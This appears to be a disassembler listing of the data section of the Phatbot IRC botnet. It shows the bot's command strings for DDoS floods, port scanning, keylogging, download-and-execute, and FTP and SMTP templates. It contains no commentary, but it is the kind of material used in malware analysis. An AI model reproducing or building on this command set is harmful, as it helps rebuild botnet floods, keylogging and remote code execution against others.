unk_429CE4	db  2Dh	; -		; DATA XREF: sub_401ACD+7180o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_429D00	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Eo
dword_429D14	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
					; sub_401ACD+7C47o
unk_429D20	db  2Dh	; -		; DATA XREF: sub_401ACD+70AFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Eo
		align 4
dword_429D48	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7073o
		dd 25203A29h, 73h
dword_429D64	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7004o
		dd 203A2973h, 7325h
dword_429D80	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FA9o
dword_429D88	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F79o
		dd 203A2973h, 7325h
dword_429DA4	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_429DB0	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECEo
					; sub_401ACD+6F57o ...
dword_429DB8	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E95o
dword_429DC0	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E84o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_429DFC	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E15o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_429E28	db  2Dh	; -		; DATA XREF: sub_401ACD+6D85o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_429E64	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Ao
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_429E98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408745o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_429ECC	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Do
		dd 7325h
dword_429EE4	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408673o
dword_429EF8	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B62o
					; sub_401ACD+6C14o ...
dword_429F08	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_429F50	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AF9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_429F8C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Ao
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E2o
		align 4
dword_429FC4	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6980o
		dd 7325203Ah, 0
unk_429FE0	db  2Dh	; -		; DATA XREF: sub_401ACD+6975o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A004	db  2Dh	; -		; DATA XREF: sub_401ACD+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A040	db  2Dh	; -		; DATA XREF: sub_401ACD+6865o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42A070	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Bo
					; sub_401ACD:loc_409366o
unk_42A07C	db  2Dh	; -		; DATA XREF: sub_401ACD+6789o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42A0A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408234o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+675Do
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A110	db  2Dh	; -		; DATA XREF: sub_401ACD+66EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A13C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Ao
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A178	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FBo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A1A8	db  2Dh	; -		; DATA XREF: sub_401ACD+6582o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A1E0	db  2Dh	; -		; DATA XREF: sub_401ACD+6513o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A210	db  2Dh	; -		; DATA XREF: sub_401ACD+6489o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A248	db  2Dh	; -		; DATA XREF: sub_401ACD+641Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A278	db  2Dh	; -		; DATA XREF: sub_401ACD+63A1o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A2B0	db  2Dh	; -		; DATA XREF: sub_401ACD+6332o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A2EC	db  2Dh	; -		; DATA XREF: sub_401ACD+62B9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42A32C	db  2Dh	; -		; DATA XREF: sub_401ACD+624Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42A358	db  2Dh	; -		; DATA XREF: sub_401ACD+617Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A39C	db  2Dh	; -		; DATA XREF: sub_401ACD+610Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A3D8	db  2Dh	; -		; DATA XREF: sub_401ACD+600Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F63o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E86o
		align 4
dword_42A434	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF2o
					; sub_401ACD+715Ao
unk_42A440	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A47C	db  2Dh	; -		; DATA XREF: sub_401ACD+5D1Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42A4CC	db  2Dh	; -		; DATA XREF: sub_401ACD+5C88o
					; sub_401ACD+607Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A504	db  2Dh	; -		; DATA XREF: sub_401ACD+5C19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42A56C	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 10h
unk_42A5A0	db  2Dh	; -		; DATA XREF: sub_401ACD+5A46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42A5D4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F3o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42A604	db  2Dh	; -		; DATA XREF: sub_401ACD+591Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5906o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58EFo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CCo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A8o
					; ___:00411C61o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5897o
		align 4
unk_42A674	db  2Dh	; -		; DATA XREF: sub_401ACD+584Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Ao
		align 4
unk_42A69C	db  2Dh	; -		; DATA XREF: sub_401ACD+57F4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42A6DC	db  2Dh	; -		; DATA XREF: sub_401ACD+5797o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A714	db  2Dh	; -		; DATA XREF: sub_401ACD+572Co
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42A75C	db  2Dh	; -		; DATA XREF: sub_401ACD+567Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42A790	db  2Dh	; -		; DATA XREF: sub_401ACD+5647o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42A7C4	db  2Dh	; -		; DATA XREF: sub_401ACD+5623o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42A7FC	db  2Dh	; -		; DATA XREF: sub_401ACD+5581o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
		align 10h
unk_42A850	db  2Dh	; -		; DATA XREF: sub_401ACD+554Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A888	db  2Dh	; -		; DATA XREF: sub_401ACD+54E0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42A8D0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406EFFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42A908	db  2Dh	; -		; DATA XREF: sub_401ACD+5428o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A940	db  2Dh	; -		; DATA XREF: sub_401ACD+53AEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Eo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5397o
unk_42A984	db  2Dh	; -		; DATA XREF: sub_401ACD+52FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52ECo
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D5o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+525Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Co
unk_42A9CC	db  2Dh	; -		; DATA XREF: sub_401ACD+51FDo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+5189o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Eo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5087o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5070o
		align 4
aP:					; DATA XREF: sub_401ACD+5059o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5042o
		align 10h
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Bo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5014o
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFDo
aU:					; DATA XREF: sub_401ACD+4FE6o
					; ___:00437F90o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FCFo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB8o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+4FA1o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Ao
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F73o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Co
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F36o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F1Fo
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F08o
		align 10h
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF1o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDAo
		align 10h
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC3o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EACo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E95o
		align 4
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Eo
		align 10h
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E67o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E50o
		align 10h
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E39o
		align 4
dword_42AB0C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Co
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42AB48	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBDo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Ao
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D23o
					; sub_401ACD+52BDo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Co
		align 10h
unk_42AB90	db  2Dh	; -		; DATA XREF: sub_401ACD+4CFFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C28o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C11o
					; sub_412B08:loc_412C34o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFAo
					; sub_412B08:loc_412C18o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE3o
					; sub_412B08+F1o
		align 10h
aC:					; DATA XREF: sub_401ACD+4BCCo
					; ___:00437C48o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB5o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Co
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B75o
		align 10h
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Eo
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B47o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B30o
		align 10h
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B19o
		align 4
aE:					; DATA XREF: sub_401ACD+4B02o
					; ___:00437C00o ...
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AEBo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD4o
		align 10h
aJpDe100	db 'jp]de100',0         ; DATA XREF: sub_401ACD+4ABDo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA6o
		align 10h
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A8Fo
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A78o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A61o
					; sub_401ACD+6BE7o
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Ao
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A33o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Co
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A05o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EEo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D7o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C0o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49A9o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4992o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Bo
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4964o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Do
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4936o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+491Fo
		align 4
aM:					; DATA XREF: sub_401ACD+4908o
					; ___:00437C58o
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DAo
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C3o
		align 4
aA:					; DATA XREF: sub_401ACD+48ACo
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4895o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4867o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4850o
		align 10h
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4839o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4822o
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Bo
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E2o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CDo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B8o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A3o
unk_42AD20	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406265o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42AD3C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Eo
					; sub_409B12+5F0o
		align 4
unk_42AD68	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42AD88	db  2Dh	; -		; DATA XREF: sub_401ACD+4747o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D3o
		align 10h
unk_42ADB0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 10h
unk_42ADD0	db  2Dh	; -		; DATA XREF: sub_401ACD+46BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Eo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Ao
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4610o
		align 10h
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F6o
		align 4
unk_42AE18	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42AE38	db  2Dh	; -		; DATA XREF: sub_401ACD+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45A9o
		align 4
unk_42AE64	db  2Dh	; -		; DATA XREF: sub_401ACD+4577o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4553o
dword_42AEA0	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4548o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42AEDC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44D9o
aKeyLoggerActiv	db '- Key logger active.',0
		align 10h
dword_42AF00	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4457o
aAlreadyRunning	db '- Already running.',0
		align 10h
dword_42AF20	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42AF4C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4437o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F8o
		align 10h
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D6o
		align 4
dword_42AF98	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E98o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42AFB8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42AFF0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4391o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B024	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4344o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 10h
dword_42B050	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4334o
aAlreadyRunni_0	db '- Already running.',0
		align 10h
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4301o
		align 4
unk_42B078	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B0A8	db  2Dh	; -		; DATA XREF: sub_401ACD+42ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
